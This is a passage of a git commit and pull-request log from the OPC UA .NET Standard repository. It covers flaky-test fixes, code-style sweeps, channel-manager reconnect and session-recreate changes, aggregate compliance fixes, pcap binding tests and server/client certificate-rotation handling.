`Tests/Opc.Ua.PubSub.Tests/IntervalRunnerTests.FakeTimeProviderDrivesDeterministicSchedulingAsync` no longer calls a single `fake.Advance(300)` expecting three timers to fire — it advances one 100 ms interval at a time and waits for each fire (the runner only registers the next `Delay` after the previous callback resumes on the thread pool; on slower CI agents the race surfaces consistently). - `Tests/Opc.Ua.Server.Tests/Fluent/SimulationBuilderExtensionsTests` (four "expect ≥ N ticks in 150 ms" tests) replace fixed `Task.Delay`/`Thread.Sleep` waits with a `WaitForAsync` polling helper, eliminating thread-pool cold-start flakiness on slow agents (observed on the hosted `macOS-15` runner). ## Related Issues _No tracking issue — pipeline tuning to standardize on the netstandard Managed DevOps Pool, plus the test/project follow-ups required for the matrix to be green on that pool._ ## Checklist - [ ] I have signed the [CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf) and read the [CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md) doc. - [x] I have added tests that prove my fix is effective or that my feature works and increased code coverage. _(N/A — pipeline + test-reliability fixes; the two test fixes themselves were verified to pass 5× in stress runs locally.)_ - [x] I have added all necessary documentation. _(Comments inline in the new `Directory.Build.targets`, `sln.yml`, and `azure-pipelines.yml` explain the unusual MSBuild/`DotNetCoreCLI@2` interactions for future maintainers.)_ - [x] I have verified that my changes do not introduce (new) build or analyzer warnings. - [x] I ran **all** tests locally using the **UA.slnx** solution against at least .net **framework** and .net **10**, and all passed. _(Verified `dotnet build UA.slnx -p:CustomTestTarget=net10.0 -c Release` and `-p:CustomTestTarget=net48 -c Debug` both complete with 0 errors; targeted test runs for the two modified test files pass 5/5.)_ - [ ] I fixed **all** failing and flaky tests in the CI pipelines and **all** CodeQL warnings. - [ ] I have addressed **all** PR feedback received. |
||
|
|
a4a7d487d9 | McpServer/readme.md: sync tool inventory with Docs (add PKI/Config/NodeSet/Packet Capture, 64 tools) | ||
|
|
297f71cfbe | Merge branch 'channelrefinements' into channelrefinements2 | ||
|
|
392ad0d3f6 |
Merge origin/master into channelrefinements
Conflict resolved in Libraries/Opc.Ua.Client/Session/ConnectionStateMachine.cs:
adjacent doc-comment edits. Kept channelrefinements' new
<maxTotalReconnectTime> param doc and adopted master's shorter
<see cref="TimeProvider"/> form (System namespace already imported).
Verified post-merge:
- Libraries/Opc.Ua.Client: net10.0 build clean (0 W, 0 E)
- Applications/Quickstarts.Servers: net10.0 build clean (inline NodeId
fix for SecurityGroups/KeyPushTargets in
ReferenceServerConfigurationNodeManager survived auto-merge)
- Tests/Opc.Ua.Client.Tests: net10.0 build clean (only pre-existing
master CA2000 warnings in StaticIssuerKeyResolverTests)
|
||
|
|
53ff029df8 |
Fix MetricsAreEmittedForReconnectAndGateWaitAsync race on fast runners
CI failure (AzDO build 14553 log 874, net48 Windows): the test asserted that opcua.channel.reconnect.duration was emitted but only saw the attempts / gate.wait / open / active measurements. Root cause: race in the TEST (production behavior is correct). ChannelEntry.RunReconnectCycleAsync records RecordReconnectAttempt BEFORE calling tcs.TrySetResult(true), but RecordReconnectDuration is invoked in the finally block AFTER TrySetResult returns control. The test awaits the reconnect task — which completes on TrySetResult — and then immediately asserts both metrics. On a fast net48 runner the test thread reaches the duration assertion before the finally block runs, so the histogram measurement is missing. Add a WaitForMeasurementAsync helper that polls for the duration measurement with a 2-second budget before the existing hard assertion fires. The hard assertion is preserved so the test still fails if the metric is genuinely never emitted. Verified locally: net48 5/5 runs pass (was 0/1 in CI), net10 1/1 (no regression). |
||
|
|
a81d981755 |
dotnet format sweep (whitespace, IDE, RCS) + code-style enforcer agent fix (#3865)
# Description
Pure code-style sweep across the repo — no behavioral changes. Drives
`dotnet format` info-level diagnostics down on a large slice of the
codebase (Stack, Libraries, Tests, Tools).
Six commits, applied bottom-up in safety order so each batch leaves the
build green:
1. **`style: fix whitespace and final-newline formatting (WHITESPACE,
FINALNEWLINE)`**
197 hits across ~30 files; pure mechanical cleanup.
2. **`style: apply dotnet format style fixes (IDE rules)`**
IDE-rule batch via `dotnet format style --severity info` —
`var`/explicit type, simplify names, collection expressions, expression
bodies, unused usings, etc.
3. **`style: apply dotnet format analyzers fixes (RCS blank-line
formatting)`**
Roslynator formatting (RCS0xxx) blank-line and punctuation rules.
4. **`style: convert comments to doc comments and inline local vars
(RCS1181, RCS1124)`**
24 files. RCS1181 promotes `// summary`-style comments above
public/internal members to `/// <summary>` doc comments; RCS1124 inlines
locals used exactly once. Generated `Tools/` files were reverted to keep
the source-generator outputs deterministic.
5. **`docs(agent): correct --diagnostics flag form and verify Roslynator
4.x code fixers`**
Updates `.github/agents/opc-ua-codestyle-enforcer.agent.md` with two
corrections discovered while running this sweep:
- `dotnet format --diagnostics "RULE1 RULE2"` (single quoted,
space-separated) silently fixes nothing on `dotnet format` 10.x — it
parses as one unknown ID and exits 0. The correct form is `--diagnostics
RULE1 --diagnostics RULE2 …`, repeated per rule.
- Roslynator 4.15.0 **does** ship code fixers for
RCS1078/1118/1124/1140/1142/1181/1221/1260 (the previous "no auto-fixer"
list was outdated). RCS1140/1142 default to `Hidden` so need `--severity
info` to surface and fire; RCS1078 requires
`roslynator_empty_string_style = field` (already set in
`.editorconfig`). Only NUnit4002/2046/2010 genuinely lack auto-fixers in
this stack.
6. **`style: format new code from master merge (dotnet format sweep)`**
After merging master into the branch (commit `e3ebc8742`), re-ran the
same three-phase format sweep on the 151 .cs files brought in by the
merge, scoped per project via repeated `--include`. 81 files changed;
same rule families as commits 1–4.
- Hand-fixed `Tests/Opc.Ua.MigrationAnalyzer.Tests/AnalyzerHarness.cs`
for `RCS1174` (redundant `async`/`await` removal) because the auto-fixer
didn't apply for that specific case.
- Reverted files that the formatter would break:
- `Libraries/Opc.Ua.Server/Server/ServerInternalData.cs` — multi-TFM
analysis disagreement injected `<<<<<<<` / `=======` / `>>>>>>>`
markers.
-
`Tools/Opc.Ua.MigrationAnalyzer.Core/{Core/Stack/Client/ChannelBase.cs,
Core/Stack/Types/IUserIdentityTokenHandler.cs,
Client/Session/Session.cs}` — IDE0005 removed `using
Opc.Ua.Security.Certificates` that IS used (the files are 1.5.378
reference fixtures for the analyzer).
- `Tests/Opc.Ua.Gds.Tests/PushTest.cs` — IDE0002 over-simplified
`OpcUa.ObjectTypeIds` to `ObjectTypeIds`, which then resolves to a
conflicting type.
### What this PR does **not** touch
- No behavioral or semantic logic changes.
- No `.editorconfig` rule promotions (rules stay at their current
severities; this is a backlog-burndown pass, not a rule tightening).
- Generated source under `Tools/` is intentionally excluded.
- Higher-risk rule families (`RCS1090`/`CA2007` `ConfigureAwait`,
`RCS1249` null-forgiving cleanup, `IDE0270`/`IDE0059`) are left for
follow-up sweeps because they need per-TFM build verification or
semantic review.
## Related Issues
_No tracking issue — this is a non-functional style sweep and the
agent-doc correction is a follow-up to the same work. Happy to open one
if the maintainers prefer._
## Checklist
- [ ] I have signed the
[CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf)
and read the
[CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md)
doc.
- [x] I have added tests that prove my fix is effective or that my
feature works and increased code coverage. _(N/A — style-only, no
behavioral change)_
- [x] I have added all necessary documentation. _(agent doc updated with
the two corrections)_
- [x] I have verified that my changes do not introduce (new) build or
analyzer warnings. _(verified clean on `net10.0` and `net48`; only
pre-existing `NETSDK1005`/`NETSDK1207` failures on Tools/AOT projects)_
- [ ] I ran **all** tests locally using the **UA.slnx** solution against
at least .net **framework** and .net **10**, and all passed. _(build
verified on net10 and net48 per batch; full test suite not yet run
locally — relying on CI)_
- [ ] I fixed **all** failing and flaky tests in the CI pipelines and
**all** CodeQL warnings.
- [ ] I have addressed **all** PR feedback received.
---------
Co-authored-by: agent <agent@local>
|
||
|
|
e7d9a153b9 |
[Test] Unit tests for ManagedSession revalidation loop (follow-up to #3849) (#3864)
# Description Follow-up unit tests for the debounced server-certificate revalidation loop added in PR #3849 (now merged as `15eb55c46`). Codecov flagged `ManagedSession.CertificateChanges.cs` as the lowest-coverage file in that PR (34% patch coverage) — the loop body that drives the debounce / at-most-one-in-flight / re-arm semantics is the heart of the trust/CRL revalidation behaviour and was previously untested. ## Changes * **`Libraries/Opc.Ua.Client/Session/ManagedSession.CertificateChanges.cs`** — extract `RunRevalidationLoopAsync` into a pure `internal static` overload that takes a `ChannelReader<int>`, `TimeProvider`, debounce window, validate callback, logger, and cancellation token. The instance overload now forwards to it. This gives unit tests a seam without standing up a connected `ManagedSession` (whose private constructor + `CreateAsync` triggers a real connect). * **`Tests/Opc.Ua.Client.Tests/Session/ManagedSessionRevalidationLoopTests.cs` (new)** — 5 unit tests covering the loop body in isolation: - `BurstOfSignalsCollapsesToSingleValidationAsync` — 50 signals → exactly 1 validation (bounded-1 channel + DropWrite). - `SignalDuringInflightValidationReArmsExactlyOnceAsync` — re-arm semantics during in-flight validation. - `NoSignalMeansNoValidationAsync` — idle loop never invokes the validator. - `CancellationDuringDebounceAbortsPendingValidationAsync` — cancellation cleanly aborts a pending validation. - `ValidationExceptionsAreSwallowedAndLoopContinuesAsync` — transient validation failures don't break the loop. Uses real `TimeProvider.System` with a 50 ms debounce + 250 ms settle window so each test runs in well under a second. A `FakeTimeProvider` seam was considered but rejected — the loop's `ReadAsync → Delay → drain` sequence is racy to drive with a fake clock because the timer is not created until after the first signal has been consumed. ## Related Issues - Follow-up to #3562 / #3160 (both fixed in #3849, merged). ## Checklist - [ ] I have signed the [CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf) and read the [CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md) doc. - [x] I have added tests that prove my fix is effective or that my feature works and increased code coverage. - [x] I have added all necessary documentation. _(None needed — pure test addition + non-public testing seam.)_ - [x] I have verified that my changes do not introduce (new) build or analyzer warnings. - [x] I ran focused tests locally using the **UA.slnx** projects against .net **10**, and all 5 new tests passed. - [ ] I fixed **all** failing and flaky tests in the CI pipelines and **all** CodeQL warnings. - [ ] I have addressed **all** PR feedback received. |
||
|
|
b2b4dbb13f |
[Server] Part 13 Aggregates compliance fixes, full test coverage and docs (#3863)
# Description Brings the server-side **OPC UA Part 13 (Aggregates) v1.05.07** support to full conformance: fixes the three genuine non-compliances found by a spec review, completes value-validated test coverage for **all 37 standard aggregate functions**, and adds documentation. The existing aggregate engine is a faithful port and was already largely compliant; this PR closes the remaining gaps. ## Compliance fixes - **`TreatUncertainAsBad` default (§4.2.1.2).** The server-default `AggregateConfiguration` (used when a `ReadProcessedDetails` request sets `UseServerCapabilitiesDefaults = true`) now defaults `TreatUncertainAsBad` to **`True`** as the spec mandates, in both `AggregateManager.GetDefaultConfiguration` and the `HistorianDispatcher` fallback. Behavior change noted in `MigrationGuide.md`. - **`AnnotationCount` (§5.4.3.20).** Previously counted raw data values. It now counts **Annotations** per interval, computed in `HistorianDispatcher.DispatchProcessedReadAsync` from `IHistorianAnnotationProvider` (endTime-exclusive bucketing; reverse-time and `ProcessingInterval == 0` handled). Returns `Bad_AggregateNotSupported` when the provider has no annotation history. - **StandardDeviation/Variance use all n Good raw values (§5.4.3.37/.39).** `ComputeStdDev` previously computed over the N−1 sub-regions returned by `GetRegionsInValueSet`, silently dropping the last raw value. It now computes the mean/variance directly over all Good raw values in the interval (UseBounds = None), differing only by the divisor (sample n−1, population n). The population spec-example tests that used to add a duplicate trailing value as a workaround were updated to the natural 5-value datasets matching §A.35/.37. ## Tests - **Calculator coverage is complete for all 37 aggregates** — added `StatusAggregateCalculatorTests` (DurationGood/Bad, PercentGood/Bad, WorstQuality/WorstQuality2), the Min/Max `*2` simple-bound variants (`Minimum2`/`Maximum2`/`Range2`/`MinimumActualTime2`/`MaximumActualTime2`), and `Interpolative`. - **End-to-end integration** in `HistoryClientIntegrationTests` over the live in-process ReferenceServer: value-validated `Average`/`Minimum`/`Maximum` processed reads and an **AnnotationCount** write→read round-trip. - **Dispatcher-level** `AnnotationCount` tests (counts per interval; `Bad_AggregateNotSupported` without an annotation provider). - **Tightened `AggregateBaseTests`**: dropped `allowAnyResult` from `StandardDeviationSample`/`StandardDeviationPopulation`/`NumberOfTransitions` basecases (now deterministic on seeded data after the D3 fix). - **Validation tests** for `AggregateConfiguration` per §4.2.1.2: `PercentDataBad`/`PercentDataGood > 100` and the invalid relationship `PercentDataGood < (100 - PercentDataBad)`. - **Cross-cutting**: reversed time-range test (start > end). ## Verification - Builds: **0 warnings / 0 errors**. - Aggregate + historian dispatcher + History integration suites green on **.NET 10** and **.NET Framework 4.8** (cross-TFM). - Black-box (MCP) check against a standalone `ConsoleReferenceServer`: both `Server.ServerCapabilities.AggregateFunctions` and `HistoryServerCapabilities.AggregateFunctions` advertise all 37 functions (§4.2.2.1). ## Notes / out of scope - AnnotationCount advertisement remains the full standard set with per-node `Bad_AggregateNotSupported`. This is spec-acceptable: §4.2.2.1 lists what the server *can* support; per-node refinement is the optional `HistoricalConfiguration.AggregateFunctions`. Conditional advertisement could be added later as a quality refinement. - A native-vs-framework-fallback parity test would be useful once a third-party `IHistorianProcessedProvider` implementation exists; the bundled `InMemoryHistorianProvider` uses only the framework fallback today. ## Related Issues _No existing tracking issue; this addresses OPC 10000-13 (Part 13, Aggregates) v1.05.07 conformance gaps. Maintainers: please link or open a tracking issue if one is required._ ## Checklist - [ ] I have signed the [CLA](https://opcfoundation.org/license/cla/ContributorLicenseAgreementv1.0.pdf) and read the [CONTRIBUTING](https://github.com/OPCFoundation/UA-.NETStandard/blob/master/CONTRIBUTING.md) doc. - [x] I have added tests that prove my fix is effective or that my feature works and increased code coverage. - [x] I have added all necessary documentation. - [x] I have verified that my changes do not introduce (new) build or analyzer warnings. - [ ] I ran **all** tests locally using the **UA.slnx** solution against at least .net **framework** and .net **10**, and all passed. _(Ran the aggregate/historian/integration suites on net48 + net10; full-solution run pending CI.)_ - [ ] I fixed **all** failing and flaky tests in the CI pipelines and **all** CodeQL warnings. - [ ] I have addressed **all** PR feedback received. |
||
|
|
51e7f42bd7 |
Fix SwapFaultedEntryAsync: re-activate released lease before reattach
CI failure (Windows net10 test-windows-latest-Sessions, GitHub run 27218339487): ChannelManagerExhaustionEscalatesAndRecoversWhenServerReturns fails with Opc.Ua.ServiceResultException : Cannot attach a released channel lease. at Opc.Ua.ChannelEntry.ReattachParticipant (...:235) at Opc.Ua.ClientChannelManager.SwapFaultedEntryAsync (...:741) Root cause: when the original ChannelEntry tears down during its Faulted disposal it calls MarkReleased() on every attached lease. On the next manager.ReconnectAsync(channel, ct) call the manager correctly identifies the entry as Faulted and dispatches SwapFaultedEntryAsync to swap to a fresh entry, but the ReattachParticipant guard rejects the now-released lease. The released-state is purely the manager's bookkeeping that the original entry is gone; the lease handle the caller holds is still valid. The swap is conceptually re-establishing the lease against a fresh entry, so re-activating it is the correct semantic. Adds ManagedTransportChannelLease.MarkActiveForSwap() and calls it from SwapFaultedEntryAsync after the fresh entry has opened and before the ReattachParticipant call. This is safe under SwapFaultedEntryAsync's invariants because the caller holds the only lease reference. Verified locally: - net10: ChannelManagerExhaustionEscalatesAndRecoversWhenServerReturns passes 1/1 - net48: ReconnectAsyncSwapsFaultedLeaseEntryAsync (the unit-test variant) passes 3/3 with no race - 9/9 Sessions.Tests ChannelManager filter passes - 1/1 Stress.Tests FaultedEntryRecovery passes |
||
|
|
8116f7901c |
Fix ChannelManagerExhaustionEscalatesAndRecoversWhenServerReturns macOS race
CI failure (macOS net10.0 Sessions tests, AzDO build 14530): ChannelManagerExhaustionEscalatesAndRecoversWhenServerReturns failed with Opc.Ua.ServiceResultException : [80250000] (BadSessionIdInvalid) on the AssertReadServerStatusAsync call after the channel-manager swap to a fresh entry. Root cause: when the server is stopped + restarted, the server-side session id is gone. The participant returns RequiresSessionRecreate from OnReconnectAsync and the manager dispatches Session.RecreateAsync fire-and-forget (matches the documented "out of band" semantic of RequiresSessionRecreate). On Windows + Linux the dispatch wins the race with the immediate AssertReadServerStatusAsync. On a slow macOS runner the read fires before the recreate has installed a fresh server-side session id, so the Read against the stale session id returns BadSessionIdInvalid. Fix: poll for the post-recreate read to succeed before the final hard Assert. Uses the existing WaitForAsync(DefaultWait, ct) helper and a small TryReadServerStatus helper that catches the transient BadSessionIdInvalid window. The final AssertReadServerStatusAsync remains so the test still fails hard if recreate never completes. Verified locally on net10 Windows: 3/3 runs pass in 14-17s. |
||
|
|
775ddd7591 | Merge branch 'channelrefinements' into channelrefinements2 | ||
|
|
ce4a1b0b62 |
Fix ClientChannelManager.DelaySwapAsync to honor TimeProvider on net48
CI failure: Tests/Opc.Ua.Client.Tests ReconnectAsyncSwapsFaultedLeaseEntryAsync
times out on net48 because DelaySwapAsync had a #if NET8_0_OR_GREATER
guard that fell through to wall-clock Task.Delay(delay, ct) on
net48/netstandard2.1 — so the test's FakeTimeProvider.Advance(100ms)
could not release the 100ms back-off, and the test hung past its
WaitAsync(5s) bound.
Switch to m_timeProvider.Delay(delay, ct) which uses the repo's
existing Stack/Opc.Ua.Core/Types/Utils/TimeProviderExtensions.cs
polyfill: it delegates to Task.Delay(TimeSpan, TimeProvider, CancellationToken)
on net8+ and uses TimeProvider.CreateTimer-based implementation on
older TFMs. Matches the pattern already used by
DirectoryCertificateStore (line 510, 914) and ChannelEntry (line 470).
Verified locally on net48: ReconnectAsyncSwapsFaultedLeaseEntryAsync
passes 1/1 in ~1s after the fix.
The other CI failure on this PR — Server.Tests:AsyncOnTickIsAwaited /
MultipleOnTickHandlersAllFire on macOS net10.0 — is a pre-existing
macOS timer-tick flake from PR #3808 (commit
|
||
|
|
0597f069eb |
PR feedback: multi-target net8/9/10, wire MaxActiveSessions, restore bindings + async dispose in tests
* Pcap nuget now multi-targets net8.0;net9.0;net10.0 to match PR description claim * Rename CaptureSessionManager.MaxActiveSessions const -> DefaultMaxActiveSessions; add instance property; new 4-arg ctor that accepts an override * AddOpcUaBindingsPcap now passes PcapOptions.MaxActiveSessions through to CaptureSessionManager (was ignored) * Fix stale Opc.Ua.Diagnostics.Pcap doc reference -> Opc.Ua.Bindings.Pcap * Docs/McpServer.md: add stop_replay + list_replays rows to tool tables * PcapBindingsTests + PcapServiceCollectionExtensionsTests: SetUp/TearDown to snapshot+restore the process-wide opc.tcp transport binding * DefaultCaptureSourceFactoryTests: convert 3 sync-over-async tests to async with await using * Add new test asserting PcapOptions.MaxActiveSessions actually flows into the resolved CaptureSessionManager |
||
|
|
f7366ada6f | Merge branch 'channelrefinements' into channelrefinements2 | ||
|
|
33dd912ebc |
Add coverage tests for Opc.Ua.Bindings.Pcap (224 new tests)
Brings test count from 53 to 277 by covering previously-untested areas of the new pcap binding: - Formats: CSV, JSON, Pcap, PcapNg, ServiceTimeline, Text, TraceFormatterRegistry, FormatKind extensions - Bindings: ChannelCaptureRegistry, CapturingMessageSocketFactory, PcapBindings, PcapTransportChannelBinding - Capture: CaptureSession, CaptureSessionManager, DefaultCaptureSourceFactory, ReplayCaptureSource - DependencyInjection: PcapServiceCollectionExtensions - Dissection: DecodedServiceCall, OfflineDecodedChunk, ServiceCallReassembler, OfflineSecureChannel (negative paths) - Frame: CaptureFrame, PcapNgFileWriter - KeyLog: negative-path reader tests for both JSON and text formats - Replay: ReplaySession Added two test-support helpers: InMemoryCaptureSource and TestTelemetryContext. All 277 tests pass on net10.0 Debug. Build clean (only pre-existing transitive net48 TFM warnings from Opc.Ua.Core.TestFramework, unrelated). |
||
|
|
81acd947a6 |
Close channel-manager production gaps and eliminate Tests/.../Gaps/
Closes the three carry-forward gaps documented in
Tests/Opc.Ua.Stress.Tests/Channels/Gaps/ (formerly each documented via
an [Explicit] failing test). The realigned tests are relocated to
Channels/Contract/, the [Category("Gaps")] disappears, and the
Gaps/ folder is removed entirely.
G1. Faulted-entry recovery
Already closed implicitly by Phase E SwapFaultedEntryAsync (PR #3852).
Test realigned from "expects BadSecureChannelClosed throw" to
"auto-resets on next ReconnectAsync and reaches Ready" and renamed
FaultedEntryAutoResetsOnNextReconnectAsync. New file location:
Tests/Opc.Ua.Stress.Tests/Channels/Contract/FaultedEntryRecoveryTests.cs.
No production change required; this was a test-vs-design alignment.
G2. Bounded participant timeout
New ParticipantTimeout on IChannelReconnectPolicy. Default
Timeout.InfiniteTimeSpan via DIM on net8+/netstandard2.1; legacy TFMs
opt in via IParticipantTimeoutPolicy (mirrors the existing
IBudgetAwareChannelReconnectPolicy pattern). ExponentialBackoffChannel-
ReconnectPolicy sets a sensible default of 30 seconds.
ChannelEntry.ReactivateParticipantsAsync wraps the participant's
OnReconnectAsync in WaitAsync(timeout, ct); on timeout the participant
is reported as TransientFailure for this cycle (the channel-level
retry policy retries normally; eventually escalates to Faulted via
the existing MaxAttempts path). A new participant.timeout.count
metric is emitted per timeout.
Test realigned from "documents indefinite hang" to "times out within
bounded wait and surfaces as TransientFailure", renamed
HungParticipantTimesOutAfterBoundedWaitAsync, and merged into
Tests/Opc.Ua.Stress.Tests/Channels/Contract/HungParticipantTests.cs.
The sibling Contract/HungParticipantTests.HungParticipantBlocks-
ReconnectIndefinitely is also realigned + renamed to
HungParticipantTimesOutAndOtherParticipantsRecoverAsync. A new
positive contract test (BoundedParticipantTimeoutHonorsTimeoutAsync)
guards against false positives. A new live-server integration test
exercises the timeout via a real ManagedSession in
Tests/Opc.Ua.Sessions.Tests/ChannelManagerSessionLifecycleIntegration-
Tests.cs.
G3. RequiresSessionRecreate plumbing
New RecreateAsync(ct) on IReconnectParticipant. Default no-op via DIM
on net8+/netstandard2.1; legacy TFMs opt in via
IRecreateAwareReconnectParticipant. ChannelEntry's switch on
RequiresSessionRecreate now fire-and-forgets a DispatchRecreate(participant)
task that invokes RecreateAsync; the manager does NOT block its
transition to Ready waiting for the recreate (matches the existing
enum doc that says "the participant is responsible for completing
its own recreation out of band"). New participant.recreate.count
+ participant.recreate.failure.count metrics emit per dispatch.
Session.ChannelManager.cs (the Session's IReconnectParticipant
adapter) overrides RecreateAsync to delegate to the existing
Session.RecreateInPlaceAsync — this is the actual "wired-through"
deliverable flagged as PR #3852 carry-forward.
Test realigned from "documents that nothing is invoked" to "fire-
and-forget invokes RecreateAsync exactly once", renamed
RequiresSessionRecreateInvokesRecreateAsync, moved to
Tests/Opc.Ua.Stress.Tests/Channels/Contract/RecreateDispatchTests.cs.
The 1 remaining [Ignore]d integration test from PR #3852 is replaced
by a positive integration test in
Tests/Opc.Ua.Sessions.Tests/ChannelManagerSessionLifecycleIntegration-
Tests.cs that simulates BadSessionIdInvalid on reactivation.
Cleanup
- GapTestBase.cs deleted; unique helpers folded into ContractTestBase.
- Tests/Opc.Ua.Stress.Tests/Channels/Gaps/ folder deleted.
- [Category("Gaps")] removed from the codebase.
- Tests/Opc.Ua.Stress.Tests/README.md "category overview" loses the
[Explicit] / L5 / Channels/Gaps/ row and the "Add known production
gaps to Channels/Gaps/" guidance bullet.
- Docs/Sessions.md "Participant model" subsection documents the new
RecreateAsync callback and ParticipantTimeout policy property.
- Pre-existing build-blocker in Applications/Quickstarts.Servers/
ReferenceServer/ReferenceServerConfigurationNodeManager.cs
(ObjectIds.SecurityGroups / KeyPushTargets are not on the curated
Stack/Opc.Ua.Types/Internal/ObjectIds.cs surface) is replaced with
inline NodeId literals (i=15443 / i=25440) per the docstring above
the array. This was a separate fix required for the merged tree
to build end-to-end.
Verified locally on net10.0:
- Full UA.slnx Release build (CodeQL parity): 0 errors.
- Tests/Opc.Ua.Stress.Tests Contract filter (faulted recovery,
recreate dispatch, hung participant, participant result
aggregation): 9/9 passed.
- Tests/Opc.Ua.Client.Tests ClientChannelManager filter: 29/29 passed.
- Tests/Opc.Ua.Sessions.Tests ChannelManager filter: 9/9 passed
(was 7/7+1 skipped before; the G3 RequiresSessionRecreate
integration test that was carry-forward [Ignore] is now
implemented and counted as a pass).
- No remaining Gaps namespace / Category("Gaps") / GapTestBase
references anywhere in the tree.
|
||
|
|
b30853856d |
PR feedback: expand single-line summary docs to multi-line form
Per reviewer guidance, all /// <summary>...</summary> comments must use newlines after <summary> and before </summary>. Expanded 36 single-line property summaries across 6 files in Opc.Ua.Bindings.Pcap: - Capture/CaptureSession.cs (9) - Formats/ITraceFormatter.cs (4) - Frame/OpcUaFrameParser.cs (7) - Frame/PcapFileReader.cs (4) - Frame/PcapFileWriter.cs (4) - Frame/TcpStreamReassembler.cs (8) |
||
|
|
311cefa5ff | Merge branch 'channelrefinements2' of https://github.com/OPCFoundation/UA-.NETStandard into channelrefinements2 | ||
|
|
bc840201ab |
Apply dotnet format (whitespace, style, analyzers) + fix CA2000 in tests
- Three-phase dotnet format sweep (whitespace -> style -> analyzers) scoped to files changed since merge-base with channelrefinements (5 projects) - Mostly mechanical: operator wrapping (&& -> end-of-line), fluent StringBuilder chains, using ordering, missing exception XML docs - Fix CA2000 in CapturingMessageSocketTests (using var for inner sockets + TestSinks so they're disposed even if the wrapping CapturingMessageSocket constructor throws) - Document the auto-added PcapDiagnosticsException(string?, int) constructor - Keep DecodeServiceCallsAsync's local var (return await + earlier await foreach triggers RCS1174 if inlined) Verified: - All 5 affected projects build with 0 errors - 3-phase dotnet format --verify-no-changes is clean - 53/53 Opc.Ua.Bindings.Pcap.Tests pass on net10.0 |
||
|
|
f6064e556e | Merge branch 'channelrefinements' into channelrefinements2 | ||
|
|
c23f477bc7 | Merge branch 'master' into channelrefinements | ||
|
|
15eb55c46e |
Cert rotation: force renegotiate (#3562) + auto-detect on client (#3160) (#3849)
# Description Implements the OPC UA Part 12 §7.10.9 contract on the server (fixes #3562) AND the client-side counterpart for immediate detection of own-cert / trust-list / CRL changes (fixes #3160). ## Server side (#3562) Per Part 12 §7.10.9 the server _shall_ "force existing SecureChannels affected by the changes to renegotiate" once the `ApplyChanges` method response has been delivered. Previously the server reloaded the certificate but did not cut affected channels; clients kept using the old cert until natural rekey, and the code carried an explicit `TODO` next to a 1-second `Task.Delay` hack in `ConfigurationNodeManager.ApplyChanges`. Key server changes: * **New optional capability interface** `Opc.Ua.ITransportListenerCertificateRotation` (single method `CloseChannelsForCertificate(Certificate)`) — implemented by `TcpTransportListener` and `HttpsTransportListener`. Custom transport listeners can opt in without breaking `ITransportListener`. * **TCP path**: new internal `TcpListenerChannel.TryCloseForCertificateRotation(oldThumbprint, out globalChannelId)` matches the channel's negotiated `ServerCertificate` by thumbprint, sends `BadCertificateInvalid`, and calls `ChannelFaulted()` to actually close the socket. `TcpTransportListener.CloseChannelsForCertificate` snapshots `m_channels` outside `m_lock` to avoid lock inversion, invokes the per-channel helper, returns cut global channel ids. **The listener socket stays bound** — clients can reconnect immediately. * **HTTPS path**: HTTPS owns the cert at the Kestrel/HTTP.sys listener level, so a `Stop()`+`Start()` cycle is the only practical force-renegotiate. Moved out of `CertificateUpdate` (which now does only the soft fan-out) into `CloseChannelsForCertificate` so the staging event no longer disrupts in-flight requests prematurely. * **`ConfigurationNodeManager.ApplyChanges`** rewritten: - Captures the per-group pre-transaction certificate (preserved across multi-stage transactions per Part 12 §7.10.2) and the staged `UpdateCertificateData`. - Schedules a deferred apply: waits for the response to flush, re-syncs the registry via `CertificateManager.UpdateAsync`, then calls `CloseChannelsForCertificate` on every listener that implements the capability. - **Configurable grace period**: new `IConfigurationNodeManager.ApplyChangesGracePeriod` (default 250 ms, negative clamped to zero). Hosts running over higher-latency administrative links can raise it. - Exposes `IConfigurationNodeManager.DrainPendingApplyChangesAsync(CancellationToken)` for tests/hosts to deterministically await rotation. - Removes the explicit 1-second `Task.Delay` TODO hack. * **`Opc.Ua.Server.ITransportListenerRegistryProvider`** — narrow opt-in interface on `ServerInternalData` exposing the live transport listener list. Lets `ConfigurationNodeManager` drive the fan-out without expanding `IServerInternal` (binary compat for mocked test fixtures). * **Sessions are NOT closed**. Per spec, the cut is on the SecureChannel only; existing `Session.IsSecureChannelValid` + `Session.Activate` rebind handles transfer over the new channel. ## Client side (#3160) The client SDK previously had no automatic detection of changes to its own certificate, trust list, or CRL — users had to call `Session.ReloadInstanceCertificateAsync` manually and trigger a reconnect. The spec-mandated `ApplicationCertificateUpdated`, `TrustListUpdated`, and `CrlUpdated` enum values existed but only the first was being emitted by `CertificateManager`. Key client/shared changes: * **`CertificateManager` now emits `TrustListUpdated` and `CrlUpdated`** from `WriteTrustListAsync` (per mask) and from `TrustListTransaction.CommitAsync` (after the atomic apply). The new internal `NotifyTrustListChanged` also invalidates cached peer/user/HTTPS validation cores so subsequent validations pick up the fresh trust state. * **`ManagedSession.AutoReconnectOnCertificateChange`** opt-in property (default `false` for backwards compat). When `true`, `ManagedSession` subscribes to `CertificateManager.CertificateChanges` on construction and, on the three relevant kinds: - Calls `Session.ReloadInstanceCertificateAsync` on `ApplicationCertificateUpdated` so the next ActivateSession is signed with the rotated client cert. - Triggers a reconnect via the state machine so the new state is honoured within milliseconds rather than at the next `SecurityTokenLifetime` rekey. * **`ManagedSession.ApplicationCertificateChanged`** event surfaces every observed change regardless of the auto-reconnect policy for diagnostics or custom rotation logic. * Subscription is disposed by the existing `Dispose` / `DisposeAsync` paths. ```csharp using var managed = await ManagedSession.CreateAsync( configuration, endpoint, sessionFactory); managed.AutoReconnectOnCertificateChange = true; managed.ApplicationCertificateChanged += (sender, e) => { Console.WriteLine($"observed {e.Kind} on {e.TrustList}"); }; ``` ## Tests | Suite | net10.0 | net48 | |---|---|---| | `TransportListenerCertificateRotationTests` (new, 6 tests) | ✅ | ✅ | | `CertificateManagerTests` (4 new event tests) | ✅ 22/22 | ✅ 4/4 | | `PushCertManagement` | 50/53 ✅ | 50/53 ✅ | | `GDS PushTest` (focused subset) | 15/15 ✅ | 16/16 ✅ | | `Opc.Ua.Server.Tests` (focused subset) | 38/38 